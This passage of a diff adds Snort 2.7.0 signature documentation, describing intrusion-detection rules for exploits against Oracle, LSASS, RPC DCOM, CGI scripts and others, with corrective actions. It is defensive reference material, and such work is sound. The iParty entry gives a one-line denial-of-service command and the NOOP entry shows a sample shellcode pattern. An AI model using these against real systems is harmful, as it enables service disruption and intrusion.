+An attacker can query the portmapper to discover the port where admind runs.  This may be a precursor to accessing admind.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access admind, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for admind, not probes of the admind service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the admind service itself. An attacker may attempt to go directly to the admind port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids 
+http://www.whitehats.com/info/IDS18
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000399.txt
+++ snort-2.7.0/doc/signatures/100000399.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000399
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "flbchart.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "flbchart.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1828.txt
+++ snort-2.7.0/doc/signatures/1828.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1828
+
+--
+Summary:
+This event is generated when an attempt is made to use a known 
+vulnerability in the search functionality of certain web servers to view
+otherwise restricted files.
+
+--
+Impact:
+If successful, this attack will allow an attacker to view the contents 
+of any file on the server.
+
+--
+Detailed Information:
+The search engine in older versions of Netscape Enterprise Server and 
+its succesors uses HTML formatted pattern files to query users for 
+search paramters and return the results. The "NS-query-pat" command 
+allows clients to specify a pattern file other than the default. 
+Unfortunately, the search engine does not validate the filename 
+requested and allows clients to specify any file on the server, which is
+then displayed to the client.
+
+--
+Affected Systems:
+	Netscape Enterprise Server 3.6 and earlier
+	iPlanet Web Server 4.1
+	iPlanet/Sun ONE Web Server 6.0 up to Service Pack 4
+	Netscape Enterprise Server 6.0
+
+--
+Attack Scenarios:
+An attacker could use this vulnerability to find user names and 
+passwords, SSL certificate files and related passwords, source code, or 
+just about any other information on the server.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the search engine or procure a patch from your web server vendor.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+CVE
+CAN-2002-1042
+
+--
--- snort-2.7.0.orig/doc/signatures/420.txt
+++ snort-2.7.0/doc/signatures/420.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+
+Sid:
+420
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Mobile Host Redirect datagram with an undefined ICMP code.
+
+--
+
+Impact:
+
+Undefined ICMP Code values should never be seen on the network.  This could be an indication of nefarious activity on the network.
+
+--
+
+Detailed Information:
+The Transparent Internet Routing for IP Mobile Hosts IETF draft defines ICMP Type 32 Code 0 as an ICMP Mobile Host Redirect Message.  This message was intended to be used by mobile computers to inform base-stations of their location on the network as they move from base-station to base-station.  In normal situations the ICMP Code should be set to 0, values other than 0 are undefined and should never be used.
+
+This IETF draft was never ratified, and no hardware is known to exist that generates this type of ICMP datagram
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 32 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for nefarious activity
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2928.txt
+++ snort-2.7.0/doc/signatures/2928.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2928
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.7.0.orig/doc/signatures/1605.txt
+++ snort-2.7.0/doc/signatures/1605.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+
+1605
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Denial of Service to a host running iParty.
+
+--
+Impact:
+Denial of Service.
+
+--
+Detailed Information:
+iParty is an audio/text chat program for Windows.  The iParty server listens on a specified port 6004 for client requests. An attacker can connect to the chat server and send a large amount of '^?' characters (ASCII 255 or Hex FF), the server will simply shutdown and disconnect all the current users.  
+
+--
+Affected Systems:
+	iParty prior to 1.2
+
+--
+Attack Scenarios:
+cat /dev/kmem | telnet target 6004
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+http://www.securityspace.com/smysecure/catid.html?id=10111
+
+--
--- snort-2.7.0.orig/doc/signatures/2525.txt
+++ snort-2.7.0/doc/signatures/2525.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2525
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/909.txt
+++ snort-2.7.0/doc/signatures/909.txt
@@ -0,0 +1,62 @@
+SID:
+909
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2214.txt
+++ snort-2.7.0/doc/signatures/2214.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2214
+
+--
+Summary:
+This event is generated when an attempt is made to access mailview.cgi on an internal web server. This may indicate an attempt to exploit a directory traversal vulnerability in MailStudio 2000 2.0 and earlier.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+MailStudio 2000 is mail server software for Solaris or Linux operating systems. It contains a vulnerability where data sent to mailview.cgi is not properly parsed. This can allow an attacker to use directory traversal techniques (/../) within the "html" parameter to view arbitrary files on the system, including other users' email, configuration files, and password files.
+
+--
+Affected Systems:
+Systems running MailStudio 2000 2.0 and earlier.
+
+--
+Attack Scenarios:
+An attacker sends a specially crafted HTTP request to a vulnerable web server with another user's email file as the html argument. The attacker will then be able to view the file.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses mailview.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if this vulnerability has been fixed. Contact the vendor, 3R Soft (http://www.3rsoft.com), for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/1335
+
+--
--- snort-2.7.0.orig/doc/signatures/2563.txt
+++ snort-2.7.0/doc/signatures/2563.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2563
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with the Symantec Firewall.
+
+--
+Impact:
+A successful attack may cause a heap overflow, permitting the execution
+of arbitrary code on the vulnerable host.
+
+--
+Detailed Information:
+There is a vulnerability in the way the Symantec Firewall handles NetBIOS
+Name Service response packets.  If an attacker crafts a malicious UDP NetBIOS
+Name Service unsolicited response to a vulnerable Symantec Firewall that does
+not block port 137, it is possible to cause a heap overflow and execute
+abitrary code with kernel privileges.  The vulnerability exists because of
+improper validation of the existence of required fields for the NetBIOS name
+returned.  The default configuration does not allow UDP port 137 traffic and
+should not be exploitable if UDP port 137 is blocked.
+
+--
+Affected Systems:
+Symantec Norton Internet Security and Professional 2002,2003,2004
+Symantec Norton Personal Firewall 2002,2003,2004
+Symantec Norton AntiSpam 2004
+Symantec Client Firewall 5.01, 5.1.1
+Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
+
+--
+Attack Scenarios:
+An attacker can craft a malicious UDP NetBIOS Name Service response,
+possibly causing a heap overflow and the subsequent execution of
+arbitrary code with kernel privileges on an exploitable host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0444
+
+Bugtraq:
+http://www.securityfocus.com/bid/10335
+
+Misc:
+http://www.eeye.com/html/Research/Advisories/AD20040512C.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2759.txt
+++ snort-2.7.0/doc/signatures/2759.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2759
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_snapshot_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/898.txt
+++ snort-2.7.0/doc/signatures/898.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+898
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2718.txt
+++ snort-2.7.0/doc/signatures/2718.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2718
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure rectify
+. This procedure is included in
+dbms_rectifier_diff.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3045.txt
+++ snort-2.7.0/doc/signatures/3045.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3045
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1474.txt
+++ snort-2.7.0/doc/signatures/1474.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1474
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/564.txt
+++ snort-2.7.0/doc/signatures/564.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+564
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/3368.txt
+++ snort-2.7.0/doc/signatures/3368.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3368
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1394.txt
+++ snort-2.7.0/doc/signatures/1394.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+
+1394
+
+--
+Summary:
+This event is generated when an attempt is made to possibly overflow a buffer.
+
+The NOOP warning occurs when a series of NOOP (no operation) are found in a stream. Most buffer overflow exploits typically use NOOPs sleds to pad the code.
+
+--
+Impact:
+
+This might indicate someone is trying to use a buffer overflow exploit. 
+
+Full compromise of  system is possible if the exploit is successful.
+
+--
+Detailed Information:
+This rule detects a large number of consecutive NOOP instructions used in padding code. It's not specific to a particular service exploit, but rather used to try and detect buffer overflows in general. It is common for buffer overflow code to contain a large sequence of NOOP instructions as it increases the odds of successful execution of the useful shellcode. 
+
+--
+Affected Systems:
+
+	Any x86 programs.
+
+--
+Attack Scenarios:
+An attacker uses a buffer overflow exploit which contains the following payload:
+
+	90 90 90 90 90 90 90 90 90 90 /bin/sh
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+High, This event may be generated by applications such as ftp and http 
+when binary data is being transfered. 
+
+A false Positive can be generated if the snort sensor detects text from an IRC
+client or any other application that passes data plaintext. The event is
+generated if snort detects several (a) characters in a row - such as
+'aaaaaaaaaa'.
+
+--
+False Negatives:
+
+None known
+
+--
+Corrective Action:
+Apply a non-executable user stack patch to your kernel
+
+Secure programming/execution of a program
+
+Check the destination host and service to verify if any buffer overflow vulnerability exists.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1668.txt
+++ snort-2.7.0/doc/signatures/1668.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1668
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3389.txt
+++ snort-2.7.0/doc/signatures/3389.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3389
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/655.txt
+++ snort-2.7.0/doc/signatures/655.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+655
+
+--
+Summary:
+This event is generated when a buffer overflow is attempted on a Sendmail 8.6.9 server.
+
+--
+Impact:
+Attempted administrator access.  A successful buffer overflow attack can allow a remote attacker access to the Sendmail server at the privilege level of the user ID associated with Sendmail.
+
+--
+Detailed Information:
+A vulnerability exists in Sendmail version 8.6.9 that can be exploited by a buffer overflow attack.  This allows the attacker access to the Sendmail server at the privilege level of the user ID associated with Sendmail.  This attack can occur when a Sendmail server connects back to the ident service of the client requesting the Sendmail connection.  Because it is improperly validated by the Sendmail server, a malicious response can cause a buffer overflow. 
